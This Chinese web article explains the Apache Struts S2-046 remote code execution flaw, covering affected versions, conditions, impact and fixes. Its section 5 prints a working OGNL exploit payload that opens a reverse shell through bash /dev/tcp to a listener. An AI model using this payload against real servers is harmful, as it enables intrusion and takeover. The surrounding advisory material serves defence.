什么是S 046漏洞,它如何影响网络安全?

1、漏洞

什么是S 046漏洞,它如何影响网络安全?插图1

漏洞编号:CVE-2017-5638。

影响范围:Struts 2.3.5 Struts 2.3.31,Struts 2.5 Struts 2.5.10。

修复建议:升级至Apache Struts 2.3.32或2.5.10.1版本。

2、漏洞复现条件

使用Jakarta插件:系统必须使用Jakarta插件,检查Struts2配置文件中是否有以下配置:<constant name="struts.multipart.parser" value="jakarta-stream"/>。

文件大小限制:上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。

什么是S 046漏洞,它如何影响网络安全?插图3

恶意OGNL内容:文件名内容构造恶意的OGNL内容。

3、漏洞危害

远程代码执行:攻击者可以通过构造特定的请求包,在系统中执行任意代码,可能导致数据泄露、网页篡改、植入后门等安全事件。

系统权限获取:攻击者可能通过远程命令执行获得系统管理员权限,从而对系统进行任意操作。

4、临时修复方案

修改Multipart Parser:将struts2的Multipart parser从jakarta更改为pell,相当于禁用了存在漏洞的jakarta框架。

什么是S 046漏洞,它如何影响网络安全?插图5

5、POC示例

   %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/ip/port 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b

注意:POC中的IP和port需要更改为监听主机的IP和port。

S2-046漏洞是一个严重的远程代码执行漏洞,影响多个版本的Struts框架,用户应尽快升级到不受此漏洞影响的版本,并采取其他安全措施来降低风险。

以上内容就是解答有关s 046漏洞的详细内容了,我相信这篇文章可以为您解决一些疑惑,有任何问题欢迎留言反馈,谢谢阅读。

本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/89330.html

小末小末
上一篇 2024年11月3日 10:18
下一篇 2024年11月3日 10:38

相关推荐